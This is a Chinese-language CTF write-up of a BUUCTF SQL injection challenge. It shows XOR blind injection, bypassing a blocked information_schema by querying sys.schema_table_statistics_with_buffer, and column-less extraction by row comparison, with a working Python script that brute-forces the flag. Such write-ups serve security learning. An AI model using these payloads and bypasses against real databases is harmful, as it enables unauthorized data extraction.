前言
关键词:[孙笑川|二分法崩溃]
开局孙笑川,晦气,真的晦气。
这题貌似做过,但是我忘了
题解
有注入检测,所以先fuzz一下。
id=sleep
不会被检测,id=1sleep
才会
检测字符
id=1^0
=>Nu1L
id=1^1
=>Error Occured When Fetch Result.
异或盲注,先用脚本跑个库名
give_grandpa_pa_pa_pa
接下里的问题是information_schema.tables
被检测了,可以换成sys.schema_table_statistics_with_buffer
跑出表名
users233333333333333,f1ag_1s_h3r3_hhhhh
跑的时候才发现把数据库名give_grandpa_pa_pa_pa
也给检测了……
因为information_schema
被检测了,不能继续跑列名,所以接下来只能无列名注入
ASCII偏移
因为检测join,所以只能用ascii偏移跑
select (select 'b') > (select 'abcdefg')
#返回1
select (select 'b') > (select 'c')
#返回0
select (SELECT 'bb') > (select 'ba')
#返回1
select (SELECT 1,'bb') > (select 1,'ba')
#返回1
select (SELECT 1,'bb') > (select 2,'ba')
#返回0
select (SELECT '1') > (select 'a')
#返回0
select (SELECT 1) > (select 'a')
#返回1
select (SELECT 1) = (select '1')
#返回1
select (SELECT 1) > (select '~')
#返回1
select (SELECT 'flag') > (select 'f')
#返回1
比较的时候,1=’1’,但’1’<’a’,且1>’a’,经测可知,数字>字符。
于是构造payload,先测出f1ag_1s_h3r3_hhhhh
表的列数
1^((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh)) =>Error Occured When Fetch Result.
1^((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh))^1 =>Nu1L
所以列数为2
然后就是跑脚本吧。
无语了,折腾了好几个小时,发现这到底没法写成平时用的二分法代码,只能老老实实一个一个跑。真无语了,浪费那么多时间。
select (SELECT 'flag') > (select 'f')
#这是返回1的,二分脚本中定值>变量形式要求这个返回0,所以没法整。
换成定值<变量形式,又受盲注限制,无法正常结束二分查找循环。
import requests
import time
def to_hex(s): # 十六进制转换 fl ==> 0x666c,可以避免一些如"fla""这种符号问题导致执行错误以及检测bypass
res = ''
for i in s:
res += hex(ord(i)).replace('0x', '')
res = '0x' + res
return res
url = "http://c9046ab0-ea20-4cee-b30d-f37009ba61da.node4.buuoj.cn/"
s = ""
last = 'tmp'
while(s.strip() != last):
for j in range(33, 127):
time.sleep(0.1)
flag = s + chr(j)
payload = "1^((1,{0})>(select * from f1ag_1s_h3r3_hhhhh))^1".format(to_hex(flag))
data = {
"id": payload
}
r = requests.post(url, data=data)
if b"Nu1L" in r.content:
last = s.strip()
s += chr(j-1) # 'F'<'FLAG','G'>'FLAG',所以要减1
print(s)
break
buuctf上flag还得转成小写才能提交。